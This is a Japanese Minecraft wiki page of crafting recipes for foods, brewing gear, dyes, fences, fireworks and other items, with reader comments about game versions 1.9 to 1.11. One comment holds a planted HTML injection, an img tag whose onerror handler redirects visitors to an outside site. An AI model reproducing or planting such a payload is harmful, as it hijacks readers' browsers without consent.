リンゴ:1 金インゴット:8
リンゴ:1 金塊:8 (1.5.2以前)
食べると満腹度が2回復し、更に5秒間回復速度が上がる。極稀にモンスターハウスの宝箱から手に入る。
腹持ち4.8
ver1.5.2以前まで低いコストで出来たが、ver1.6以降コストが高くなった
金のニンジン
(Golden Carrot)
ニンジン:1 金塊:8
食べると満腹度が3回復する。
暗視ポーションの材料になる。
腹持ち7.2
砂糖
(Sugar)
サトウキビ:1
パンプキンパイ、ケーキの材料。
また、ポーションの材料にもなる。
パンプキンパイ
(Pumpkin Pie)
カボチャ:1 砂糖:1 卵:1 (※配置不問)
満腹度を4回復する。
腹持ち2.4
ケーキ
(Cake)
牛乳:3 砂糖:2 卵:1 小麦:3
持った状態で右クリックすると地面に設置。
その状態でさらに右クリックすると満腹度を1回復。
6回まで食べられる。
牛乳は中身だけ消費し、空のバケツが作業台に残る。
腹持ち0.2x6
※一度設置するとアイテム化しないため回収不可。
どうしても撤去したい場合は6回使い、食べきった方が良い。
ウサギシチュー
(Rabbit Stew)
焼き兎肉:1 ニンジン:1 ベークドポテト:1 キノコ:1 ボウル:1
満腹度を5回復する。
キノコシチューと同じくスタック出来ない。
食べるとボウルのみが残る。
瞬間満腹度は最高峰だが、隠し満腹度は焼肉類よりやや劣る。
ビートルートスープ
(Beetroot Soup)
ビートルート:6 ボウル:1
ver1.9より追加(PE版からの逆移植)
満腹度を3回復する。
キノコシチューと同じくスタック出来ない。
食べるとボウルのみが残る。
+ ver1.9でレシピ削除

醸造用品

名前
作り方 説明
醸造台
(Brewing Stand)
ブレイズロッド:1 丸石:3
各種素材を使って、ポーションを作ることができる。
一つの素材を最大3つのポーションに添加できる。
ver1.9 から醸造にはブレイズパウダーが必要になり、パウダー1つで20回の醸造ができる。
素手で壊すとアイテム化しない。回収にはツルハシが必要。
また、光源ブロックであり、1レベルの光を放つ。
ガラス瓶
(Glass Bottle)
ガラス:3
ポーションを入れる器になる。
水源か、水の入った大釜から水を取ることができる。
ポーションと同じで飲むことができるが、効果は全くない。
空のビンのみスタック可能。
ver1.9 からドラゴンブレスを取ることができるようになった。
ドラゴンブレスは残留ポーションの作成に使用される。
大釜
(Cauldron)
鉄インゴット:7
魔女の家に自然生成される。
水バケツを使用することでポーション用に水を汲んでおくことができる。
ガラスの瓶3つ分の水が溜められる。
水が入っている状態で壊しても、水が手に入るようなことはない。
ネザーで水を入れても水が消滅しない特性があり、これを利用して引火ダメージを食らっている際にここに浸かれば即座に鎮火できる。
ver1.9 からバケツで大釜の水が汲めるようになった。
マグマクリーム
(Magma Cream)
スライムボール:1 ブレイズパウダー:1 (※配置不問)
耐火のポーションの材料になる。
マグマキューブを倒したときに落とすことがある。
ポーション以外の用途はほとんどない。
これ4つでマグマブロックを作成することもできる。
ブレイズパウダー
(Blaze Powder)
ブレイズロッド:1
ブレイズロッドから作成可能。力のポーション、エンダーアイ、マグマクリームなどの材料になる。
ver1.9 から醸造台の燃料として使用するようになった。
醗酵したクモの目
(Fermented Spider Eye)
クモの眼:1 茶キノコ:1 砂糖:1 (※配置不問)
主にマイナスの効果を持つポーションの材料になる。
きらめくスイカ
(Glistering Melon)
スイカ:1 金塊:8 
スイカ:1 金塊:1(1.6以前)

治癒のポーションの材料になる。この状態だと直接食べることができなくなる。

染料

染料の調合は全て不定形レシピである。
ver1.7.2追加の花から入手可能な染料については「アイテム/染料」を参照のこと。
名前
作り方 説明
赤色
(Rose Red)

ポピー/ビートルート:1
赤色の染料。レッド。
橙色
(Orange Dye)
黄色の染料:1  赤色の染料:1
橙色の染料。オレンジ。
黄色
(Dandelion Yellow)
タンポポ:1
黄色の染料。イエロー。
黄緑色
(Lime Dye)
緑色の染料(※1):1 白色の染料(※2):1
黄緑色の染料。ライム。
水色
(Cyan Dye)
緑の染料(※1):1 青の染料(※2):1
水色の染料。シアン。
空色
(Light Blue Dye)
白の染料(※2):1 青の染料(※2):1
空色の染料。ライトブルー。
紫色
(Purple Dye)
赤の染料:1 青の染料(※2):1
紫色の染料。パープル。
赤紫色
(Magenta Dye)
紫の染料:1 ピンクの染料:1
赤紫色の染料。マゼンタ。
桃色
(Pink Dye)
赤の染料:1 白の染料(※2):1
桃色の染料。ピンク。
薄灰色
(Light Gray Dye)
白の染料(※2):1 灰色の染料:1
薄灰色の染料。ライトグレー。
灰色
(Gray Dye)
白の染料(※2):1 黒の染料(※2):1
灰色の染料。グレー。
※1 緑色の染料(Green Dye:グリーン)は、かまどにサボテン(Cactus)を載せて精錬して作る。
※2 白は骨から作れる骨粉(Bone Meal:ホワイト)、青はラピスラズリ(Lapis Lazuli:ブルー)、黒はイカのドロップのイカスミ(Ink Sac:ブラック)、
茶色はカカオ豆(Cocoa Beans:ブラウン)がそのまま染料になる。

その他

名前
作り方 説明
エンチャントテーブル
(Enchantment Table)
本:1 ダイヤモンド:2 黒曜石:4
各種道具(クワを除く)や武具に経験値とラピスラズリを消費して様々な特殊効果をつけることができる。
金床
(Anvil)
鉄:4 鉄ブロック:3
経験値を消費してアイテムに名前をつけたり、各種道具武具の修理やエンチャント効果の合成ができる。
耐久値が無くなると壊れる。
ビーコン
(Beacon)
ネザースター:1 ガラス:5 黒曜石:3
ver1.4.2 から追加
15レベルの明るさを放ち、このブロックを中心とする一定範囲にいる間ポーションの効果を得ることができる。
作成、稼働ともに相当なコストがかかる。
鉱物
(Ore)
鉄ブロック/金ブロック/ダイヤモンドブロック/ラピスラズリブロック/エメラルドブロック:1
作った鉱物ブロックを戻せる。
骨粉
(Bone Meal)
骨ブロック:1  
作りすぎたときに使える還元レシピ。
金インゴット
(Gold Ingot)
金塊:9
ゾンビピッグマンが落とす金塊9個で金インゴットが作成可能。
金塊
(Gold Nugget)
金インゴット:1
金インゴットと金ブロックが可逆なように、金塊と金インゴットの変換も可逆。
絵画
(Painting)
棒:8 羊毛:1
壁に貼ることができ、飾りとして使える。
中央の羊毛はどの色でも構わない。
絵の中身、大きさは設置時にランダムで決まる。しかし設置場所にスペースが足りないと大きな絵は出現しない。
額縁
(Item Frame)
棒:8 革:1
アイテムを中に入れて飾ることができる。
地図、時計など一部のアイテムは額縁に入れても機能を発揮する。
地図を入れた場合、額縁は表示されずマスいっぱいに地図が表示される。
植木鉢
(Flower Pot)
レンガ:3
苗木、キノコ、花、サボテン、シダ、枯れ木を植えて飾ることができる。
看板
(Sign)
木材:6 棒:1
壁か床に置き、置く時に文章を入力できる。
日本語の入力は、コピペするか専用のアプリを使用することで可能。
当たり判定はなく水や溶岩などの液体の流れを遮断する。
はしご
(Ladder)
棒:7
壁面に貼り付けると昇り降りが出来るようになる。
無操作中にスニークをするとその高さで留まる。
水流を遮断する。
スニーク中は物を破壊するスピードが遅くなる。

(Paper)
サトウキビ:3
本や地図を作るのに必要。

(Book)
紙:3 革:1 (※配置不問)
本棚やエンチャントテーブルを作るのに必要。

(Leather)
ウサギの毛皮:4
スライムボール
(Slimeball)
スライムブロック:1
フェンス
(Fence)
木材:4 棒:2
高さが1.5ブロック相当という特殊な判定のため、ジャンプによるMobの侵入を防ぐ。
ただし横方向の幅は見た目通り1ブロックより小さめである。
これ一つだけでは杭だが、フェンスゲートの横や他の立方体ブロックやフェンスに隣接させると
隙間に棒が張られてフェンスになり、当たり判定も補正される。
1ブロック扱いのため、上にはみ出した0.5ブロックを無視してブロックを設置したり水を流すことができる。
火をつけたり、近くに火気や溶岩等の熱源があると延焼する。
横幅は0.25で両側に0.375の隙間ができる。
ver1.8から、棒のみで作成するレシピは破棄され、既存のフェンスはオークのフェンスとなり、
その他の素材のフェンスが5種類追加された。例外的に、木材のフェンスとネザーレンガフェンスはつながらずmobが通れるほどの隙間ができる。 
異なる種類の木材では作成不可となった。
ネザーレンガフェンス
(Nether Brick Fence)
ネザーレンガ:6
ネザーレンガ版のフェンスです。
当たり判定やブロックとの接続は普通のフェンスと変わらないが、
このフェンス以外とは接続されない。
木のフェンスと異なり、耐燃性がある。
横幅は0.25で両側に0.375の隙間ができる。
石の壁(苔石の壁)
(Cobblestone Wall)
丸石/苔石:6
ver1.4.2 から追加
フェンスに近い性質を持つ。
石製なので耐燃性がある。
厚みは0.5で、両側に0.25の隙間ができる。
鉄格子
(Iron Bars)
鉄インゴット:6
隣に鉄格子かブロック(階段とハーフブロック除く)があるとそれに繋がる形になる。
フェンスと違って高さは1ブロック相当で、加えて見た目通りの薄い判定しか持たないため、
配置によってはMobが通れる隙間や、足がかりができてしまうことがあるので注意が必要。
厚みが0.13で両側に0.4375の隙間ができる。
カーペット
(Carpet)
羊毛:2
ver1.6 から追加
床に敷き詰めて置くことで、装飾に使うことができる。
装飾での使い方によっては、素晴らしい効果を発揮する。
カーペットの上には敵がスポーンしない。
板ガラス
(Glass Pane)
ガラス:6
薄いガラス。
隣に板ガラスかブロック(階段とハーフブロック除く)があるとそれに繋がる形になる。
当たり判定については鉄格子と同様である。
壊してもアイテム化しない。エンチャント効果の「シルクタッチ」でなら回収が可能。
厚みが0.13で両側に0.4375の隙間ができる。
ver1.9から 単体ではフェンスと同じく棒状になるようになった。
ver1.9以前は十字型になっていた。
色付きガラス板
(Stained Glass Pane)
色付きガラス:6
色がついたこと以外の詳細は板ガラスとまったく同じ。
板ガラスに直接染料を並べることでクラフトはできず、
染色済みのガラスからでないと作成できない。
骨粉
(Bone Meal)
骨:1
染料の材料。
肥料として作物や苗木にも使える。
草ブロックに対して使うと、周囲に背丈の低い草や花などが生える。
また、キノコに使うとキノコを巨大化させることができる。また、骨ブロックの材料。
スイカの種
(Melon Seeds)
スイカ:1
農地に植えて栽培することができる。
栽培について
カボチャの種
(Pumpkin Seeds)
カボチャ:1
農地に植えて栽培することができる。
栽培について
エンダーアイ
(Eye of Ender)
エンダーパール:1 ブレイズパウダー:1 (※配置不問)
手に持って投げると要塞の方向に飛んでいく。
但し投げた後、20%の確率で消滅してしまう。
要塞にあるエンドポータルを修復するのにも必要。
エンダーチェスト
(Ender Chest)
エンダーアイ:1 黒曜石:8
他のエンダーチェストと中身を共有する特殊なチェスト。
複数設置しても参照する中身は同一の物となるので、この中に入れたものは爆風などでチェストの中身が放出→ロストする危険が無くなる。
ただし、通常のチェストのように二つをつなげることができない。
破壊すると黒曜石8個をドロップし、エンダーアイは失われる。
シルクタッチの付いたつるはしを使用することでエンダーチェストのまま回収できる。
(ツルハシの種類は問わず、木のツルハシでも回収可能である)
花火の星
(Firework Star)
火薬:1 染料:1~8 追加材料:0~3 (※配置不問)
詳細はこちらへ→レシピ/花火
花火の星を作製する際に使用する花火の玉。
最低火薬1個、染料1個で作成可能。
複数の染料を混ぜると花火の星にして打ち上げた際に色が混ざる。
また、追加の材料を加えることで花火の大きさや形を変えることができる。
花火の星:1 染料:1~8 (※配置不問)
上で作製した花火の星に更に染料を追加すると、フェード効果を追加でき、打ち上げた時に色が変化するようになる。
既にフェードが付いている花火の星を使用してこのレシピでクラフティングすると、フェード効果が上書きされる。
ロケット花火
(Firework Rocket)
火薬:1~3 紙:1 花火の星:0~7 (※配置不問)
右クリックで使用したり、ディスペンサーに入れてレッドストーン信号を入力することで花火を打ち上げる。
花火の星を使用せずに作成することもできるが、その場合花火は表示されない。
火薬の数が多いほど、花火が開く高さが高くなる。
花火の星を複数使用することもできる。
ver1.10から クラフトで得られる個数が3個になった。

(Banner)
各色羊毛:6 棒:1
通称バナー。
ver1.8から染料とクラフトすることで様々な模様をつけることができる。
防具立て
(Armor Stand)
棒:6 石ハーフブロック:1
ver1.8にて追加。
防具を飾ることができる。
石以外のハーフブロックでは作成できない。
装飾での使い方によっては、素晴らしい効果を発揮する。
エンダークリスタル
(Ender Crystal)
ガラス:7 エンダーアイ:1 ガストの涙:1
エンドの黒曜石柱の上で見つけることができる。
主な目的はエンダードラゴンの体力回復であり、
エンダードラゴンは最寄のクリスタルの範囲に入ると体力が回復する。
エンダードラゴンが体力回復中にそのクリスタルを破壊すると、ドラゴンは少しのダメージを受ける。
エンダークリスタルの爆発はTNTより50%強く、致命傷になりやすい。
エンダードラゴンを倒した後の帰還ポータルに四個これを並べると、エンダードラゴンが復活して、再戦できる。ただし、卵は一度倒した以降はもらえない。
エンドロッド
(End Rod)
ブレイズロッド:1 焼いたコーラスフルーツ:1
エンドシティで自然に生成される光源ブロック。松明と同じ14レベルの光を放つ。
ブロックのどこにでもつけることができ、
また付いているブロックが壊されてもエンドロッドは破壊されない。
個体ブロック扱いのため、上に砂や砂利などの重力の影響を受けるブロックが落ちてきても、そのブロックはアイテム化しない。
そのため、ピストンで押し出しや引き戻しをすることができる。
また、エンドシティ内では、塔を登るための階段として用いられることがある。






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編集用コメント

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    表示できる親コメントの数は限られます。新規投稿をむやみに行うことは、他のコメントが流れてしまう要因になります。
  • エンチャントテーブルから直接エンチャント出来ないのはクワだけでなく、ハサミも含まれます。 - 名無しさん 2016-11-13 00:44:14
    • そうですね。でもこのレシピページで解説するには不適切な内容のため、一度エンチャントページをご覧の上、記載されていない場合はお手数ですがもう一度コメント欄へ投稿をお願いします。 - 名無しさん 2016-11-13 03:44:48
  • 1.11が実装されました。スナップショットなどで取集した情報を配置します。オブサーバーはブロック更新検知器で以前のBUD回路と同等です。そして不死のトーテムが追加されました。使い道は不明です。その他の欄でボス以外の、スポーンが追加されました。そしてシュルカーのドロップが追加。シュルカーの殻というアイテムがドロップするみたいです。シュルカーボックスが作れますが、作り方は普通のチェストに殻で挟む形で作ります。詳細はあとで書き込みます - 13540 2016-11-15 20:16:23
    • 少し説明が間違っているようですが… - 名無しさん 2016-11-16 17:23:22
  • <img src=Q onerror="location.href='http://cross-law.jp&#039;&quot;&gt; - 名無しさん 2016-11-17 07:16:56
  • ver1.11正式版にて盾を構えたとき、しっかりとガードができていればクリーパーなどの爆発ダメージを無効化するようになりました。 - 名無しさん 2016-11-17 16:45:18
    • 追記しました。 - 名無しさん 2016-11-18 16:55:36
  • 醸造台の説明で、回収にはツルハシが必要とありますが、必要なのはシルクタッチです。 - ツインサンダー 2016-11-17 18:44:18
    • エディションとバージョンは?PC版1.11で確認しましたが、木のツルハシのエンチャント無しでも回収できましたので、今までの事に加え、今回嘘を報告なさったとして管理者に通報させていただきますが? - chiino 2016-11-18 10:03:44
      • ツルハシ、またはシルクタッチの道具という意味では?「木のツルハシのエンチャント無しでも回収できました」→それはもうわかってますよ?この人が言いたいのはシルクタッチの道具〝でも” 回収できますって事ですよね? - 名無しさん 2016-11-18 16:44:09
        • ただツインサンダーさんの今までのコメントが事実を確認せずに書き込まれているのは事実ですね。迷惑です。 - 名無しさん 2016-11-18 16:47:26
  • 編集できるようになったので1.9の情報を適したところに移動しました - 13540 2016-11-20 07:25:03
    • コピペする際にミスがあったようですので修正しました - 名無しさん 2016-11-20 10:11:22
  • 1.11の情報はでき次第、追記、作成します - 13540 2016-11-20 07:26:18
  • ボートの画像の変更をお願いします! - 名無しさん 2016-11-20 10:02:47
  • 1,11の情報お待ちしております!! - 名無しさん 2016-11-22 17:53:03
  • あらいつちは耕すと土ブロックになりますよっ - arai 2016-11-25 20:41:42
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